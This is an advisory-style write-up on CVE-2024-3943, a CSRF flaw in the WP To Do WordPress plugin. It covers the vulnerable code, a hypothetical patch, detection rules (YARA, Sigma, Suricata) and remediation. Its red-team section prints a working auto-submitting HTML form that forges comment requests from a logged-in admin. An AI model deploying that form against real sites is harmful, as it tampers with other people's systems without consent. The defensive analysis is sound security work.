CVE-2024-3943

Executive Summary

CVE-2024-3943 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WP To Do plugin for WordPress, up to and including version 1.3.0. The vulnerability exists in the wptodo_addcomment function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that add comments to to-do items, provided they can trick a site administrator into clicking a malicious link. The CVSS score is 4.3 (Medium), with a low impact on integrity but no impact on confidentiality or availability. No public proof-of-concept or exploit code is currently available, and the patch status remains unknown.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim (admin) must click a link.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Unauthorized comments can be added.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires user interaction and only allows adding comments, but it can be used for social engineering or spam injection.

Deep Dive & Mechanics

The vulnerability is rooted in the WordPress plugin's wptodo_addcomment AJAX handler. In WordPress, AJAX actions that modify data should include a nonce (a one-time token) to verify the request originates from the intended user. The wptodo_addcomment function fails to check this nonce, making it susceptible to CSRF.

An attacker can craft a malicious HTML page or email containing a form or image tag that triggers a POST request to the WordPress admin AJAX endpoint with the required parameters (e.g., action=wptodo_addcomment, todoid=123, comment=spam). When a logged-in administrator visits the attacker's page, the browser automatically sends the request, and the comment is added to the specified to-do item.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.3.0):

function wptodo_addcomment() {
    // No nonce verification
    $todoid = $_POST['todoid'];
    $comment = $_POST['comment'];
    // ... add comment logic
}

Patched Code (Hypothetical):

function wptodo_addcomment() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wptodo_addcomment_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    $todoid = $_POST['todoid'];
    $comment = $_POST['comment'];
    // ... add comment logic
}

The patch adds a call to wp_verify_nonce() to ensure the request is legitimate.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with WP To Do plugin version 1.3.0 on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Create an HTML file (exploit.html) with the following content:

   <html>
   <body>
   <form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
       <input type="hidden" name="action" value="wptodo_addcomment">
       <input type="hidden" name="todoid" value="1">
       <input type="hidden" name="comment" value="Injected by CSRF">
   </form>
   <script>document.getElementById('csrf_form').submit();</script>
   </body>
   </html>
   

3. Deliver: Host the file on an attacker-controlled server and send the link to the victim (admin) via email or social engineering.
4. Trigger: When the admin clicks the link, the form auto-submits, adding the comment.

Blue Team (Detection & Defense)

• Monitor AJAX Requests: Look for unexpected admin-ajax.php requests with action=wptodo_addcomment from non-admin IPs or without a valid referer.
• Implement CSRF Tokens: Ensure all state-changing AJAX actions include nonce verification.
• User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with parameters action=wptodo_addcomment, todoid, and comment.
• Logs: WordPress debug logs showing wptodo_addcomment calls without a valid nonce.
• File: Unexpected comments in to-do items that appear without user action.

Detection Engineering

YARA Rule

rule wp_todo_csrf_cve_2024_3943 {
    meta:
        description = "Detects vulnerable WP To Do plugin code missing nonce verification"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3943"
    strings:
        $func = "function wptodo_addcomment" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $func and not $no_nonce
}

Sigma Rule

title: WP To Do CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts against WP To Do plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-params: 'action=wptodo_addcomment'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-3943 WP To Do CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wptodo_addcomment"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the WP To Do plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=wptodo_addcomment unless they include a valid nonce.
3. Long-term: Apply the vendor patch when available, or manually add nonce verification to the wptodo_addcomment function.
4. Monitoring: Enable WordPress audit logging and monitor for unusual AJAX activity.

Valters IT
DevSecOps & Cyber Threat Intelligence